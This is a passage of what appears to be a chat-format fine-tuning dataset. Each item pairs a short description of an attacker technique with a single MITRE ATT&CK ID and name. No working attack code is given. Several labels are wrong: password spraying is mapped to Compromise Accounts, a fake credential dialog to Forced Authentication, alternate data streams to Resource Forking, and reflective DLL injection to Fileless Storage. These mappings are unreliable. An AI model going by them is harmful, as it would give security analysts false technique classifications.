                "content": "Red team members enumerate subdomains of the victim's main site using DNS enumeration tools to identify additional services."
            },
            {
                "role": "assistant",
                "content": "T1594 - Search Victim-Owned Websites"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An APT group runs a PowerShell script that reads entries from the Credential Manager to obtain stored domain credentials."
            },
            {
                "role": "assistant",
                "content": "T1555.004 - Credentials from Password Stores: Windows Credential Manager"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malware scans SYSVOL for Group Policy Preference files (*.xml) that contain clear‑text passwords for service accounts."
            },
            {
                "role": "assistant",
                "content": "T1552.006 - Unsecured Credentials: Group Policy Preferences"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "APT group leveraged permissive service file permissions to replace the service’s executable with a trojan, achieving code execution as Local System."
            },
            {
                "role": "assistant",
                "content": "T1574.010 - Hijack Execution Flow: Services File Permissions Weakness"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The adversary uses a compromised developer account to upload a tampered version of a client app to an official app store."
            },
            {
                "role": "assistant",
                "content": "T1554 - Compromise Client Software Binary"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malware adds a hidden user to the Windows SAM database, marking the account as disabled and giving it no profile directory to avoid detection."
            },
            {
                "role": "assistant",
                "content": "T1564.002 - Hide Artifacts: Hidden Users"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Attackers called employees impersonating the IT department, requesting login credentials to resolve a 'system outage' situation."
            },
            {
                "role": "assistant",
                "content": "T1566.004 - Phishing: Spearphishing Voice"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An exploit targets a Windows GPO misconfiguration, granting domain admin privileges to the attacker."
            },
            {
                "role": "assistant",
                "content": "T1484.001 - Domain Policy Modification: Group Policy Modification"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Adversary runs 'service --status-all' to list all init scripts and their current state on a Unix machine."
            },
            {
                "role": "assistant",
                "content": "T1007 - System Service Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Adversaries leverage a compromised Microsoft Teams webhook to send data to an external server."
            },
            {
                "role": "assistant",
                "content": "T1567.004 - Exfiltration Over Web Service: Exfiltration Over Webhook"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An adversary presents a fake authentication dialog to a user, causing the user to enter valid credentials that are then captured and used to access privileged resources."
            },
            {
                "role": "assistant",
                "content": "T1187 - Forced Authentication"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The adversary modifies an existing legitimate service's binary path to point to their malicious payload, causing the service to execute the payload upon restart."
            },
            {
                "role": "assistant",
                "content": "T1569.002 - System Services: Service Execution"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malware leverages bcdedit to set the safe boot option, effectively disabling many security components on reboot."
            },
            {
                "role": "assistant",
                "content": "T1562.009 - Impair Defenses: Safe Mode Boot"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Threat actor leverages a cross‑site scripting flaw to replace the site's banner with a defacement message."
            },
            {
                "role": "assistant",
                "content": "T1491 - Defacement"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Operators create a malicious JIT‑spraying exploit for JavaScript engines to execute code in the browser context."
            },
            {
                "role": "assistant",
                "content": "T1587.004 - Develop Capabilities: Exploits"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Attackers rename their malware files by adding a trailing space after the filename, e.g., 'notepad.exe ' to evade detection."
            },
            {
                "role": "assistant",
                "content": "T1036.006 - Masquerading: Space after Filename"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A malicious HTML document utilizes the Blob API to reconstruct an executable from encoded data and launch it."
            },
            {
                "role": "assistant",
                "content": "T1027.006 - Obfuscated Files or Information: HTML Smuggling"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The threat actor downloaded the network device configuration archive from a cloud backup service."
            },
            {
                "role": "assistant",
                "content": "T1602.002 - Data from Configuration Repository: Network Device Configuration Dump"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An attacker leverages the Image File Execution Options injection technique by adding a \"Debugger\" value to the registry key of a legitimate service, redirecting execution to a trojanized version of the binary."
            },
            {
                "role": "assistant",
                "content": "T1546.012 - Event Triggered Execution: Image File Execution Options Injection"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The intrusion tool reads the MAC address and IP configuration via 'ipconfig /all' to map network interfaces."
            },
            {
                "role": "assistant",
                "content": "T1082 - System Information Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malware drops a malicious .pfx file onto the endpoint and runs certutil to import the certificate, granting the malware elevated trust for future actions."
            },
            {
                "role": "assistant",
                "content": "T1608.003 - Stage Capabilities: Install Digital Certificate"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The threat group compiles a list of the target's office locations by scraping job postings that mention city and building details."
            },
            {
                "role": "assistant",
                "content": "T1591.001 - Gather Victim Org Information: Determine Physical Locations"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An attacker deployed AnyDesk to gain full interactive access to victim machines."
            },
            {
                "role": "assistant",
                "content": "T1219 - Remote Access Software"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The threat actor uses TLS-encrypted SMTP traffic to exfiltrate stolen credentials."
            },
            {
                "role": "assistant",
                "content": "T1071 - Application Layer Protocol"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Threat actors exploit remote code execution to launch a mass shutdown of services."
            },
            {
                "role": "assistant",
                "content": "T1489 - Service Stop"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The intrusion leverages the Winlogon helper DLL technique by creating a HKCU\\Software\\Microsoft\\Windows NT\\CurrentVersion\\Winlogon\\Shell entry that loads their DLL."
            },
            {
                "role": "assistant",
                "content": "T1547.004 - Boot or Logon Autostart Execution: Winlogon Helper DLL"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A threat actor uses Bluetooth Low Energy (BLE) beacons to harvest and transmit GPS location data from a target's wearable device."
            },
            {
                "role": "assistant",
                "content": "T1011.001 - Exfiltration Over Other Network Medium: Exfiltration Over Bluetooth"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Attackers use a technique that hijacks a thread's execution to bypass security controls and run their payload."
            },
            {
                "role": "assistant",
                "content": "T1055.003 - Process Injection: Thread Execution Hijacking"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malware encrypts and fragments sensitive files, then uploads each fragment to a cloud storage service one at a time to stay within upload size limits."
            },
            {
                "role": "assistant",
                "content": "T1030 - Data Transfer Size Limits"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "By altering the TLS Server Name Indication, the adversary performs domain fronting to evade detection and reach a restricted C2 server."
            },
            {
                "role": "assistant",
                "content": "T1090.004 - Proxy: Domain Fronting"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A nation‑state group infiltrated the source code repository of a critical infrastructure vendor and added a hidden credential‑stealing module before the next software release."
            },
            {
                "role": "assistant",
                "content": "T1195.002 - Supply Chain Compromise: Compromise Software Supply Chain"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker abuses the mmc.exe process to load a malicious snap-in and run code."
            },
            {
                "role": "assistant",
                "content": "T1218.014 - System Binary Proxy Execution: MMC"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A threat actor drops an evil.service and evil.timer in /etc/systemd/system to execute a backdoor script on system boot."
            },
            {
                "role": "assistant",
                "content": "T1053.006 - Scheduled Task/Job: Systemd Timers"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The intrusion leverages a compromised developer certificate to sign malicious software, evading Gatekeeper detection."
            },
            {
                "role": "assistant",
                "content": "T1553.001 - Subvert Trust Controls: Gatekeeper Bypass"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker injected malicious code into the binary of a remote desktop client, enabling credential theft."
            },
            {
                "role": "assistant",
                "content": "T1554 - Compromise Client Software Binary"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The adversary sets up an external SSH service on a compromised host, enabling persistent remote access."
            },
            {
                "role": "assistant",
                "content": "T1133 - External Remote Services"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Using the Windows Service Control Manager, the intruder installs a rogue service that automatically starts and runs a backdoor at system startup."
            },
            {
                "role": "assistant",
                "content": "T1569 - System Services"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A backdoor uses a legitimate local account credential to maintain persistence after system reboots."
            },
            {
                "role": "assistant",
                "content": "T1078.003 - Valid Accounts: Local Accounts"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The threat actor performs a password spraying campaign across the organization's email accounts to gain unauthorized access."
            },
            {
                "role": "assistant",
                "content": "T1586 - Compromise Accounts"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The implant only runs if it detects a particular MAC address belonging to the target organization."
            },
            {
                "role": "assistant",
                "content": "T1480 - Execution Guardrails"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "By abusing the Set-Acl cmdlet, the intruder changed the ownership of the hosts file, allowing unauthorized edits."
            },
            {
                "role": "assistant",
                "content": "T1222.001 - File and Directory Permissions Modification: Windows File and Directory Permissions Modification"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Threat actor modifies an existing service's binary path to point to a malicious DLL, causing it to load during system boot."
            },
            {
                "role": "assistant",
                "content": "T1569 - System Services"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The adversary intercepts network traffic and modifies JSON payloads to change transaction amounts before they reach the server."
            },
            {
                "role": "assistant",
                "content": "T1565.002 - Data Manipulation: Transmitted Data Manipulation"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Adversary deploys a rogue Windows service that spawns a remote desktop session on system startup."
            },
            {
                "role": "assistant",
                "content": "T1543.003 - Create or Modify System Process: Windows Service"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "After gaining access to a compromised server, the adversary extracts a stored Azure AD access token and uses it to create new resources in the tenant."
            },
            {
                "role": "assistant",
                "content": "T1550.001 - Use Alternate Authentication Material: Application Access Token"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Hijacking rundll32.exe to execute a malicious module as part of a fileless attack."
            },
            {
                "role": "assistant",
                "content": "T1218.011 - System Binary Proxy Execution: Rundll32"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malicious code extracts session tokens from Chrome's local storage and uses them to gain unauthorized access."
            },
            {
                "role": "assistant",
                "content": "T1185 - Browser Session Hijacking"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "By exploiting msiexec's ability to run custom actions, the attacker executed arbitrary code, employing the System Binary Proxy Execution technique."
            },
            {
                "role": "assistant",
                "content": "T1218.007 - System Binary Proxy Execution: Msiexec"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Threat actors delete indicator of compromise (IOC) files from the endpoint's quarantine folder to evade detection."
            },
            {
                "role": "assistant",
                "content": "T1562.006 - Impair Defenses: Indicator Blocking"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "By installing a rogue LKM (Loadable Kernel Module) that is automatically loaded during system startup, the adversary maintains persistence."
            },
            {
                "role": "assistant",
                "content": "T1547.006 - Boot or Logon Autostart Execution: Kernel Modules and Extensions"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The adversary uses a compromised subdomain to host malicious JavaScript that exfiltrates data from victim browsers."
            },
            {
                "role": "assistant",
                "content": "T1584.001 - Compromise Infrastructure: Domains"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Cybercriminal sets up a phishing landing page on a compromised FTP server."
            },
            {
                "role": "assistant",
                "content": "T1583.004 - Acquire Infrastructure: Server"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The adversary queries Google and Bing for the target company's domain to collect publicly available information."
            },
            {
                "role": "assistant",
                "content": "T1593.002 - Search Open Websites/Domains: Search Engines"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A threat actor employs reflective DLL injection to load malicious code into a running process, keeping the payload entirely fileless."
            },
            {
                "role": "assistant",
                "content": "T1027.011 - Obfuscated Files or Information: Fileless Storage"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malware checks the MAC addresses of network adapters for OUI prefixes associated with virtual NIC manufacturers."
            },
            {
                "role": "assistant",
                "content": "T1497.001 - Virtualization/Sandbox Evasion: System Checks"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A threat actor injects malicious code into the UEFI firmware, allowing execution of commands prior to OS boot and evading standard security controls."
            },
            {
                "role": "assistant",
                "content": "T1542 - Pre-OS Boot"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "By using the built‑in Windows utility \"control.exe\" the attacker executed a payload that downloaded additional ransomware from a remote server."
            },
            {
                "role": "assistant",
                "content": "T1218.002 - System Binary Proxy Execution: Control Panel"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The intruder installs a RAT (Remote Access Trojan) that communicates over HTTP to a command‑and‑control server."
            },
            {
                "role": "assistant",
                "content": "T1219 - Remote Access Software"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The intruder updates the Kerberos key distribution center settings on a network appliance to forge service tickets."
            },
            {
                "role": "assistant",
                "content": "T1556.004 - Modify Authentication Process: Network Device Authentication"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The threat actor uploads a malicious DLL to the victim's Microsoft SQL Server and registers it as a linked server to execute arbitrary commands."
            },
            {
                "role": "assistant",
                "content": "T1505 - Server Software Component"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Attackers downgrade the encryption strength by configuring the TLS library to use only 40‑bit cipher suites, effectively reducing the key space."
            },
            {
                "role": "assistant",
                "content": "T1600.001 - Weaken Encryption: Reduce Key Space"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An attacker modifies the user's email settings to forward all inbound mail to a collection server they own."
            },
            {
                "role": "assistant",
                "content": "T1114.003 - Email Collection: Email Forwarding Rule"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The operation used successive proxy hops across multiple compromised machines, allowing the attacker to bounce traffic through several locations before reaching the target."
            },
            {
                "role": "assistant",
                "content": "T1090.003 - Proxy: Multi-hop Proxy"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The threat actor uses a command-line tool to encrypt files in a specific directory based on file size criteria."
            },
            {
                "role": "assistant",
                "content": "T1486 - Data Encrypted for Impact"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malicious code uses alternate data streams to hide additional payloads."
            },
            {
                "role": "assistant",
                "content": "T1564.009 - Hide Artifacts: Resource Forking"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malware authors purchase a code signing certificate from a rogue CA and use it to sign ransomware payloads, evading endpoint detection."
            },
            {
                "role": "assistant",
                "content": "T1553.002 - Subvert Trust Controls: Code Signing"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Adversaries generate a .dat archive with a bespoke packing algorithm to hide stolen email archives."
            },
            {
                "role": "assistant",
                "content": "T1560.003 - Archive Collected Data: Archive via Custom Method"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The adversary exploited a misconfigured mailbox rule to automatically grant themselves delegate rights to new user mailboxes."
            },
            {
                "role": "assistant",
                "content": "T1098.002 - Account Manipulation: Additional Email Delegate Permissions"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A trojan employs API calls to NtQueryInformationProcess to detect debugging and then encrypts its code sections on the fly."
            },
            {
                "role": "assistant",
                "content": "T1622 - Debugger Evasion"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "After gaining admin rights, the group copied the entire \\Users\\%USERNAME%\\AppData\\Local\\Microsoft\\Outlook folder."
            },
            {
                "role": "assistant",
                "content": "T1114.001 - Email Collection: Local Email Collection"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The executable uses the CPUID instruction to detect hypervisor bits and aborts if it finds the hypervisor flag set."
            },
            {
                "role": "assistant",
                "content": "T1497.001 - Virtualization/Sandbox Evasion: System Checks"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A phishing email contained a zip archive where the hidden payload was a .doc file that actually executed a malicious PowerShell script when opened, illustrating Masquerade File Type."
            },
            {
                "role": "assistant",
                "content": "T1036.008 - Masquerading: Masquerade File Type"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker uses a scheduled task that triggers the payload weeks after initial infection to bypass automated analysis."
            },
            {
                "role": "assistant",
                "content": "T1497.003 - Virtualization/Sandbox Evasion: Time Based Evasion"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "By performing a man‑in‑the‑middle attack against the authentication server, the threat actor retrieves the OTP generated for MFA."
            },
            {
                "role": "assistant",
                "content": "T1111 - Multi-Factor Authentication Interception"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malicious code silently registers a new device on the victim’s account during a phishing campaign."
            },
            {
                "role": "assistant",
                "content": "T1098.005 - Account Manipulation: Device Registration"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker placed a trojan in the \"C:\\Program Files (x86)\\Common Files\\Microsoft Shared\\\" directory and named it \"msedge.exe\" to match the Microsoft Edge browser binary."
            },
            {
                "role": "assistant",
                "content": "T1036.005 - Masquerading: Match Legitimate Name or Location"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
